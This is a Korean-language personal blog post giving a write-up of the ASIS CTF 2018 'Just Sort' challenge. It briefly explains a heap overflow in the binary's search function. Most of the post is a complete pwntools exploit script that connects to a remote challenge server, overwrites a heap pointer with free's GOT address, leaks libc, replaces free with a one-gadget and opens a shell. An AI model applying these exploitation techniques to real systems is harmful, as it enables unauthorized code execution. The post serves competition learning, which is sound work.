HanJeouk의 개인공부 블로그

2018_Asis_CTF Just Sort!

CTF2018. 5. 3. 00:50

푸는 방식은 Cat과 거의 똑같다.

다른게 있다면 이 문제는 search라는 함수가 있는데 search를 분석해보면

사이즈를 어떻게 할당하던 무조건 read를 0x64만큼 받는다. 힙 오버플로우가 발생한다. 이걸 이용해서 똑같이 청크를 가리키고 있는 포인터를 조작하여 릭과 공격을 하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
#p=process("./just_sort")
p=remote('159.65.125.233',6005)
elf =ELF("./just_sort")
def insert(size,memo):
        p.sendlineafter("> ","1")
        p.sendlineafter("> ",str(size))
        print p.sendlineafter("> ",memo)
 
def edit(has,pos,memo):
        p.sendlineafter("> ","2")
        p.sendlineafter("> ",str(has))
        p.sendlineafter("> ",str(pos))
        print p.sendlineafter("> ",memo)
 
def Print():
        p.sendlineafter("> ","3")
 
def search(many,value):
        p.sendlineafter("> ","4")
        p.sendlineafter("> ",str(many))
        print p.sendafter("> ",value)
 
def delete(has,pos):
        p.sendlineafter("> ","5")
        p.sendlineafter("> ",str(has))
        print p.sendlineafter("> ",str(pos))
 
insert(16,"a"*16)
insert(16,"b"*16)
delete(1,0)
search(16,"A"*16+p64(0x80)+p64(0x21)+"A"*16+p64(0)+p64(0x21)+p64(0)+p64(elf.got["free"]))
 
Print()
print p.recvuntil("hash_id:1")
print p.recvuntil("0: \"")
free=u64(p.recv(6)+"\x00\x00")
base = free-0x844f0
one =base+0xf02a4
edit(1,0,p64(one))
delete(1,0)
 
p.interactive()
cs

다른 문제들도 풀어야겠다 ㅎ

'CTF' 카테고리의 다른 글

2018 0ctf babystack  (0) 2018.05.25
2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Cat  (0) 2018.05.03
2018 HITB-XCTF d  (0) 2018.04.15
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08